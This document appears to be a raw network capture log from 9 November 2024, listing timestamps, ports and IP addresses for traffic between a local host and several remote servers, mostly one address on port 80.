Nov 9, 2024 22:09:50.030354023 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030378103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030431032 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030446053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030477047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030486107 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030513048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030518055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030528069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030566931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030570030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030580044 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030603886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030613899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030646086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030653954 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030689001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030700922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030713081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030725956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030730963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030742884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030762911 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030783892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030824900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030836105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030864000 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030873060 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.030910015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030922890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030941963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030955076 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.030982971 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031007051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031069994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031080961 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031090975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031121016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031121969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031131983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031133890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031141043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031168938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031173944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031186104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031193018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031196117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031223059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031236887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031270981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031289101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031335115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031405926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031445026 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031447887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031460047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031497955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031532049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031543016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031553984 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031563997 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031565905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031596899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031620979 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031649113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031660080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031685114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031697035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031699896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031730890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031755924 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031769991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031781912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031791925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031805038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031819105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031857967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031891108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031903028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031915903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031928062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.031950951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.031966925 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032010078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032020092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032063007 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032079935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032092094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032102108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032113075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032124996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032139063 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032151937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032250881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032262087 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032273054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032285929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032300949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032314062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032314062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032340050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032365084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032402039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032418966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032432079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032444000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032457113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032474041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032476902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032510996 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032520056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032663107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032675028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032687902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032701015 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032711983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032717943 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032722950 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032736063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032742977 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032746077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032758951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032778025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032778978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032802105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032825947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032860041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032871962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032883883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032895088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.032923937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.032943010 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.033062935 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.033087015 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.033123970 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.033148050 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.033159971 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.033188105 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.034296036 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.067029953 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.067758083 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.067774057 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.068356991 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.068362951 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.070079088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.070099115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.070115089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.070132017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.070157051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.070194006 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.122241020 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.122298002 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.122421026 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.122716904 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.122735977 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.122786999 CET	49935	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.122792959 CET	443	49935	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.128051996 CET	443	49934	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.128114939 CET	443	49934	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.131906986 CET	49934	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.137064934 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.137104034 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.137435913 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.137653112 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.137671947 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.138998032 CET	49934	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.139008999 CET	443	49934	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.140041113 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.140058041 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.140121937 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.141371012 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.141386986 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.142755032 CET	49942	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.142782927 CET	443	49942	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.142945051 CET	49942	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.143074036 CET	49942	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.143086910 CET	443	49942	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.144382000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.144427061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.144443989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.144498110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.144989014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145034075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145045996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145065069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145081043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145111084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145138979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145149946 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145150900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145188093 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145469904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145518064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145534039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145554066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145567894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145600080 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145615101 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145632029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145659924 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145683050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145709038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145720959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145733118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145745039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145755053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145759106 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145764112 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145811081 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145845890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145858049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145869017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145881891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145893097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145901918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145922899 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145934105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.145962000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145972013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145982981 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.145996094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146007061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146013975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146019936 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146043062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146055937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146084070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146095037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146105051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146116972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146126986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146138906 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146138906 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146152020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146158934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146178961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146184921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146200895 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146225929 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146255016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146265030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146274090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146286011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146306992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146327019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146359921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146369934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146380901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146398067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146408081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146424055 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146426916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146439075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146444082 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146470070 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146492958 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146533012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146544933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146558046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146569014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146576881 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146580935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146593094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146594048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146606922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146619081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146625042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146642923 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146660089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146771908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146784067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146794081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146804094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146815062 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146826029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146835089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146838903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146852970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146872044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146914005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146930933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146960020 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146970034 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146970034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.146985054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.146996021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147007942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147015095 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147037029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147049904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147104979 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147116899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147130966 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147141933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147149086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147152901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147162914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147190094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147209883 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147222996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147234917 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147244930 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147264004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147273064 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147295952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147346020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147361040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147371054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147381067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147416115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147417068 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147429943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147440910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147444010 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147465944 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147495031 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147497892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147510052 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147546053 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147547007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147557020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147561073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147599936 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147610903 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147646904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147660017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147670031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147682905 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147695065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147727966 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147742987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147754908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147766113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147783041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147788048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147802114 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147829056 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147877932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147890091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147902012 CET	80	49813	185.215.113.206	192.168.2.5
